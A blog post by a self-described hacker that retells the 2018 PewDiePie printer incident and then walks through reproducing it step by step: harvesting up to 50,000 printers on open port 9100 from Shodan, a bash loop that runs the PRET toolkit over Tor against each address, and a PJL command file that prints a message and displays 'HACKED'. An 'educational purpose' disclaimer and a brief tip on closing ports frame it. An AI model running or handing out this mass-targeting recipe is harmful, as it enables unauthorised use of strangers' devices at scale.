BhavKaran

BhavKaran

Hacker, Python Developer, Security Researcher.

How Hacker Used These Tools To Hack Into 50,000 Printers to Promote PewDiePie

A battle for who owns the YouTube crown for top channel has been waged over the past few months between fans of Swedish video game commentary celebrity Felix Kjellberg “PewDiePie” and of the Bollywood label T-Series.

As The Hacker News reports, TheHackerGiraffe hacked printers worldwide to print pro-PewDiePie propaganda. Here are some images showing the message that printers were forced to spit out:

The hacker said, he first obtained a list of vulnerable printers from Shodan (A search engine for internet-connected devices). Then he wrote an automated script that causes each affected printer to spit out their message, one after another. He carried out the attack via open 9100 network ports.

Essentially, these ports are accessible via the open internet, instead of protected behind a router firewall. The hacker didn’t hack anything to make work printers remotely but he just used the open ports and was able to initiate tasks!

In this Post we’ll learn, how the hacker was managed to hacked into 50,000 printers using tools and learn various protocols used in printing . This post is for educational purpose, I am not responsible for any damage. Here is how the entire #pewdiepie printer hack went down:

1. First, you need to have knowledge about the given Protocols & Services.

Internet Printing Protocol (IPP)

Line Printer Daemon (LPD)

JetDirect

Port 9100 Printing

2. You can find these ports using Open Source Intelligence (OSINT) and other techniques. In this case, we are using Shodan search engine. Pick the first 50,000 printers found running on port 9100 and download the list of shodan.

3. Then, Open up your text editor type message or you can the use same message that hacker used: http://pastebin.com/ASuKK3qL

4. Now, we needs a tool that connects us to printers on this port and print whatever we wants. So we will use this tool:

PRET (Printer Exploitation Toolkit) – The tool that made dumpster diving obsolete.

PRET is a new tool for printer security testing developed in the scope of a Master’s Thesis at Ruhr University Bochum. It connects to a device via network or USB and exploits the features of a given printer language.

5. Now it’s time to write an exploit,  type the following bash script using any code editor. What this script does, is simply take my input “input.txt” and loop through every line, running PRET against that IP with the commands in “exploit.txt”


#!/bin/bash
while read -r line; do
ip="$line"
torify ./PRET/pret.py $ip pjl -q -i ./exploit.txt
done < "./input.txt"

6. After that, create a file named “exploit.txt” containing the following code:


print ./message.pdf
display HACKED
quit

7. Upload the script into the server or Linux, open a terminal session, run the script and left it running.

What would a layman do to save himself from this type of attack?

Its simple, The users just need to turn off the ports because this isn’t a vulnerability but just are the protocols which don’t have options for authentications. Though there isn’t a way to verify exactly how many printers were really impacted.

Through this incident, we can learn about the conditions of the leaving the ports open which could lead to waste many tons of ink and papers so make sure your devices aren’t exposed on the open internet.

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